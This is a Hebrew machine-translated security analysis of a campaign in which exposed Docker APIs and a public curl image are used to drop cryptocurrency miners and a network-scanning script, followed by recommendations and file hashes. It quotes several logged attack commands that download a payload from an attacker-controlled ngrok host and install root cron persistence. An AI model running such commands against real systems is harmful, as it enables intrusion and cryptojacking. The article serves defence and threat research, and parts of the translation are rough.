כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים

ניתחנו את הנתונים שנאספו באמצעות מיכלי סיר דבש, שיצרנו כדי לעקוב אחר איומים. וזיהינו פעילות משמעותית של כורי מטבעות קריפטוגרפיים לא רצויים או לא מורשים שנפרסו כמכולות נוכלות באמצעות תמונה שפורסמה בקהילה ב-Docker Hub. התמונה משמשת כחלק משירות המספק כורי מטבעות קריפטוגרפיים זדוניים.

בנוסף, מותקנות תוכניות לעבודה עם רשתות כדי לחדור למכולות ואפליקציות שכנות פתוחות.

אנו משאירים את עציצי הדבש שלנו כפי שהם, כלומר עם הגדרות ברירת מחדל, ללא כל אמצעי אבטחה או התקנה של תוכנה נוספת לאחר מכן. שימו לב של-Docker יש המלצות להגדרה ראשונית כדי למנוע שגיאות ופגיעויות פשוטות. אבל עציצי הדבש המשמשים הם מיכלים, שנועדו לזהות התקפות המכוונות לפלטפורמת המכולות, לא את היישומים בתוך המיכלים.

הפעילות הזדונית שזוהתה בולטת גם מכיוון שהיא אינה דורשת פרצות והיא גם בלתי תלויה בגרסת Docker. מציאת תמונת מיכל שהוגדרה בצורה שגויה, ולכן פתוחה, היא כל מה שתוקפים צריכים כדי להדביק שרתים פתוחים רבים.

ה-API של Docker לא סגור מאפשר למשתמש לבצע מגוון רחב של צוותים, כולל קבלת רשימה של קונטיינרים פועלים, קבלת יומנים ממיכל ספציפי, התחלה, עצירה (כולל מאולץ) ואפילו יצירת קונטיינר חדש מתמונה ספציפית עם הגדרות מוגדרות.

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים
בצד שמאל נמצאת שיטת המסירה של תוכנות זדוניות. בצד ימין נמצאת הסביבה של התוקף, המאפשרת גלגול מרחוק של תמונות.

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים
הפצה לפי מדינה של 3762 ממשקי API פתוחים של Docker. מבוסס על חיפוש שודן מתאריך 12.02.2019/XNUMX/XNUMX

אפשרויות לתקוף שרשרת ומטען

פעילות זדונית זוהתה לא רק בעזרת עציצים. נתונים מ-Shodan מראים שמספר ממשקי ה-API של Docker החשופים (ראה גרף שני) גדל מאז שחקרנו קונטיינר לא מוגדר המשמש כגשר לפריסת תוכנת כריית מטבעות קריפטוגרפיים של Monero. באוקטובר אשתקד (2018, נתונים עדכניים אתה יכול להיראות כך משוער. מְתוּרגְמָן) היו רק 856 ממשקי API פתוחים.

בדיקה של יומני סיר הדבש הראתה ששימוש בתמונת מיכל היה קשור גם לשימוש ב נגרוק, כלי ליצירת חיבורים מאובטחים או העברת תעבורה מנקודות נגישות לציבור לכתובות או משאבים שצוינו (לדוגמה localhost). זה מאפשר לתוקפים ליצור באופן דינמי כתובות URL בעת אספקת מטען לשרת פתוח. להלן דוגמאות קוד מהיומנים המציגים שימוש לרעה בשירות ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

כפי שאתה יכול לראות, הקבצים שהועלו יורדים מכתובות URL המשתנות כל הזמן. לכתובות האתרים הללו יש תאריך תפוגה קצר, כך שלא ניתן להוריד מטענים לאחר תאריך התפוגה.

ישנן שתי אפשרויות של מטען. הראשונה היא כורה קומפילציה בפורמט ELF עבור Linux (מזוהה כ-Coinminer.SH.MALXMR.ATNO), אשר מתחבר למאגר הכרייה. השני הוא סקריפט (TrojanSpy.SH.ZNETMAP.A), שנועד להשיג כלי רשת מסוימים המשמשים לסריקת טווחי רשת ולאחר מכן לחפש מטרות חדשות.

סקריפט הטפטוף מגדיר שני משתנים, המשמשים לאחר מכן לפריסת כורה המטבעות הקריפטוגרפיים. המשתנה HOST מכיל את כתובת ה-URL שבה נמצאים הקבצים הזדוניים, והמשתנה RIP הוא שם הקובץ (למעשה, ה-hash) של הכורה שיש לפרוס. המשתנה HOST משתנה בכל פעם שמשתנה ה-hash משתנה. הסקריפט גם מנסה לבדוק שאף כורי מטבעות קריפטוגרפיים אחרים לא פועלים על השרת המותקף.

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים
דוגמאות למשתני HOST ו-RIP, כמו גם קטע קוד המשמש כדי לבדוק שאף כורים אחרים לא פועלים

לפני הפעלת הכורה, שמו שונה ל-nginx. גרסאות אחרות של סקריפט זה משנות את שם הכורה לשירותים לגיטימיים אחרים שעשויים להימצא בסביבה. Linuxזה בדרך כלל מספיק כדי לעקוף בדיקות ברשימת התהליכים הפועלים.

לסקריפט החיפוש יש גם תכונות. זה עובד עם אותו שירות URL כדי לפרוס את הכלים הדרושים. ביניהם ניתן למצוא את הבינארי zmap, המשמש לסריקת רשתות ולקבלת רשימה של יציאות פתוחות. הסקריפט גם טוען בינארי נוסף המשמש לאינטראקציה עם השירותים שנמצאו וקבלת באנרים מהם כדי לקבוע מידע נוסף על השירות שנמצא (לדוגמה, הגרסה שלו).

הסקריפט גם קובע מראש כמה טווחי רשת לסריקה, אך הדבר תלוי בגרסת הסקריפט. הוא גם מגדיר את יציאות היעד מהשירותים - במקרה זה, Docker - לפני הפעלת הסריקה.

לאחר שנמצאות מטרות פוטנציאליות, באנרים מוסרים מהן באופן אוטומטי. הסקריפט מסנן גם מטרות בהתבסס על השירותים, היישומים, הרכיבים או הפלטפורמות שהוא מעוניין בהן: Redis, Jenkins, Drupal, MODX, מאסטר קוברנטס, לקוח Docker 1.16 ו- Apache CouchDB. אם השרת הסרוק תואם לכל אחד מהם, הוא נשמר בקובץ טקסט, שבו יכולים התוקפים להשתמש מאוחר יותר לצורך ניתוח ופריצה. קבצי טקסט אלו מועלים לשרתים של התוקפים באמצעות קישורים דינמיים. כלומר, עבור כל קובץ נעשה שימוש בכתובת URL נפרדת, מה שאומר שהגישה שלאחר מכן קשה.

וקטור ההתקפה הוא תמונת Docker, כפי שניתן לראות בשתי פיסות הקוד הבאות.

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים
בחלק העליון הוא שינוי השם לשירות לגיטימי, ובחלק התחתון הוא אופן השימוש ב-zmap לסריקת רשתות

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים
בחלק העליון טווחי רשת מוגדרים מראש, בתחתית יציאות ספציפיות לחיפוש שירותים, כולל Docker

כיצד נעשה שימוש ב-Docker API שאינו קנייני ובתמונות ציבוריות מהקהילה להפצת כורי מטבעות קריפטוגרפיים
צילום המסך מראה שתמונת תלתל אלפיני הורדה יותר מ-10 מיליון פעמים

מבוסס על אלפיין Linux ו-curl, כלי ממשק שורת פקודה (CLI) יעיל במשאבים להעברת קבצים דרך פרוטוקולים שונים, ניתן לקמפל אותו תמונת דוקר. כפי שניתן לראות בתמונה הקודמת, התמונה הזו כבר הורדה יותר מ-10 מיליון פעמים. מספר גדול של הורדות עשוי להיות שימוש בתמונה זו כנקודת כניסה; תמונה זו עודכנה לפני יותר משישה חודשים; משתמשים לא הורידו תמונות אחרות ממאגר זה בתדירות גבוהה. בדוקר נקודת כניסה - ערכת הוראות המשמשת להגדרת קונטיינר להפעלתו. אם הגדרות נקודת הכניסה אינן נכונות (לדוגמה, המיכל נשאר פתוח מהאינטרנט), התמונה יכולה לשמש כווקטור התקפה. תוקפים יכולים להשתמש בו כדי לספק מטען אם הם מוצאים קונטיינר פתוח או לא נתמך.

חשוב לציין שתמונה זו (אלפינית-תלתל) עצמה אינה זדונית, אך כפי שניתן לראות למעלה, ניתן להשתמש בה לביצוע פונקציות זדוניות. תמונות דומות של Docker יכולות לשמש גם לביצוע פעילויות זדוניות. יצרנו קשר עם Docker ועבדנו איתם בנושא זה.

המלצות

הגדרה שגויה שרידים בעיה מתמדת עבור חברות רבות, במיוחד אלו המיישמות דופים, התמקד בפיתוח מהיר ואספקה. הכל מחמיר מהצורך בעמידה בכללי הביקורת והניטור, הצורך במעקב אחר סודיות הנתונים וכן הנזק העצום מאי עמידתם. שילוב אוטומציה של אבטחה במחזור החיים של הפיתוח לא רק עוזר לך למצוא פרצות אבטחה שאחרת עלולות לא להתגלות, אלא הוא גם עוזר לך להפחית עומס עבודה מיותר, כגון הפעלת תוכנות נוספות עבור כל פגיעות שהתגלתה או תצורה שגויה לאחר פריסת יישום.

האירוע הנדון במאמר זה מדגיש את הצורך לקחת בחשבון את הבטיחות מלכתחילה, כולל ההמלצות הבאות:

  • למנהלי מערכת ומפתחים: בדוק תמיד את הגדרות ה-API שלך כדי לוודא שהכל מוגדר לקבל רק בקשות משרת ספציפי או מרשת פנימית.
  • פעל לפי עיקרון הזכויות הקטנות ביותר: ודא שתמונות מיכל חתומות ומאומתות, הגבלת גישה לרכיבים קריטיים (שירות השקת מיכל) והוסף הצפנה לחיבורי רשת.
  • לעקוב אחר המלצות ולאפשר מנגנוני אבטחה, למשל. מ-Docker ומובנה מאפייני אבטחה.
  • השתמש בסריקה אוטומטית של זמני ריצה ותמונות כדי לקבל מידע נוסף על התהליכים הרצים בקונטיינר (לדוגמה, כדי לזהות זיוף או חיפוש נקודות תורפה). בקרת יישומים וניטור שלמות עוזרים לעקוב אחר שינויים חריגים בשרתים, קבצים ואזורי מערכת.

Trendmicro עוזרת לצוותי DevOps לבנות בצורה מאובטחת, להתגלגל במהירות ולהשיק בכל מקום. טרנד מיקרו אבטחת ענן היברידית מספק אבטחה עוצמתית, יעילה ואוטומטית בכל צינור ה-DevOps של ארגון ומספק הגנות מרובות של איומים XGen כדי להגן על עומסי עבודה פיזיים, וירטואליים וענן בזמן ריצה. זה גם מוסיף אבטחת מכולה עם אבטחה עמוקה и בדיקה חכמה אבטחה עמוקה, אשר סורקות תמונות קונטיינר של Docker לאיתור תוכנות זדוניות ופגיעויות בכל נקודה בצנרת הפיתוח כדי למנוע איומים לפני פריסתן.

סימני פשרה

Hash קשורים:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

על קורס וידאו של דוקר רמקולים מתאמנים מראים אילו הגדרות יש לבצע תחילה על מנת למזער את הסבירות או למנוע לחלוטין את התרחשות המצב המתואר לעיל. וב-19-21 באוגוסט באינטנסיביות מקוונת כלים וצ'יטים של DevOps אתה יכול לדון בבעיות אבטחה אלו ודומות עם עמיתים ומורים מתרגלים בשולחן עגול, שבו כולם יכולים לדבר ולהקשיב לכאבים ולהצלחות של עמיתים מנוסים.

מקור: www.habr.com

קנה אירוח אמין לאתרים עם הגנת DDoS, שרתי VPS VDS 🔥 קנה אחסון אתרים אמין עם הגנת DDoS, שרתי VPS VDS | ProHoster